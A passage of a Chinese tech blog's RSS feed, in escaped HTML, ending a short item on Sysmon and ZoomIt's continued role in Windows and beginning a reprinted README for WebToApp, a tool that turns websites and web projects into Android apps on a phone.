data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;Sysmon&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap; font-size: 11pt; letter-spacing: 0pt; vertical-align: baseline;&quot; data-font-family=&quot;default&quot;&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;和&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;ZoomIt&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;如今不仅还活着，甚至在 2026 年“比以往更加重要”&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;其中，Sysmon 已成为 Windows 安全体系的重要组成部分，而 &lt;span class=&quot;&quot; link-id=&quot;link-1778639009162-0.38035879334735756&quot;&gt;ZoomIt&lt;/span&gt; 也早已被纳入 Microsoft PowerToys。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;“旧系统迟早会被彻底重构”，这是&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;过去十几年&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;科技行业一直流行的&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;一个观点。但&amp;nbsp;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;Windows&amp;nbsp;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;的存在&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;证明：&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;class&amp;quot;:&amp;quot;paragraph text-align-type-left&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, \&amp;quot;Helvetica Neue\&amp;quot;, \&amp;quot;PingFang SC\&amp;quot;, \&amp;quot;Hiragino Sans GB\&amp;quot;, \&amp;quot;Microsoft YaHei UI\&amp;quot;, \&amp;quot;Microsoft YaHei\&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;node&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;span&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:null,&amp;quot;data-font-family&amp;quot;:&amp;quot;default&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;真正成功的大型系统，往往不是“推倒重来”出来的，而是在历史包袱、兼容需求和新技术之间&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;不断妥协、演化出来的。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 12px;color: #888888;&quot;&gt;参考链接：&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 12px;color: #888888;&quot;&gt;https://x.com/docsmsft/status/2052089975802368301&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2026 16:36:05 +0800</pubDate></item><item><title>WebToApp 任意网站。一键。一个应用。 无需 IDE。无需构建服务器。无需电脑。</title><link>https://www.kinber.cn/post/6544.html</link><description>&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;截图&lt;/h2&gt;&lt;a id=&quot;user-content-截图&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 截图&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E6%88%AA%E5%9B%BE&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align=&quot;center&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/1.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/1.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/2.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/2.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/3.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/3.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/4.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/4.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&amp;nbsp;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/5.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/5.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/6.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/6.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/7.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/7.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/8.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/8.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&amp;nbsp;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/9.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/9.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/png/10.png&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; text-underline-offset: 0.2rem;&quot;&gt;&lt;img src=&quot;https://github.com/shiahonb777/web-to-app/raw/main/png/10.png&quot; width=&quot;24%&quot; style=&quot;box-sizing: content-box; border-style: none;&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;功能&lt;/h2&gt;&lt;a id=&quot;user-content-功能&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 功能&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E5%8A%9F%E8%83%BD&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;WebToApp 将网站、HTML 项目、媒体文件和服务端应用转换为独立 Android APK — 手机上完成，无需电脑。&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;支持类型：&lt;/span&gt;&amp;nbsp;网站 / HTML / React / Vue / WordPress / Node.js / PHP / Python / Go / 图片 / 视频 / 图库 / 多网站&lt;/p&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;核心特性&lt;/h2&gt;&lt;a id=&quot;user-content-核心特性&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 核心特性&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E6%A0%B8%E5%BF%83%E7%89%B9%E6%80%A7&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-bottom: var(--base-size-16); padding-left: 2em; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color 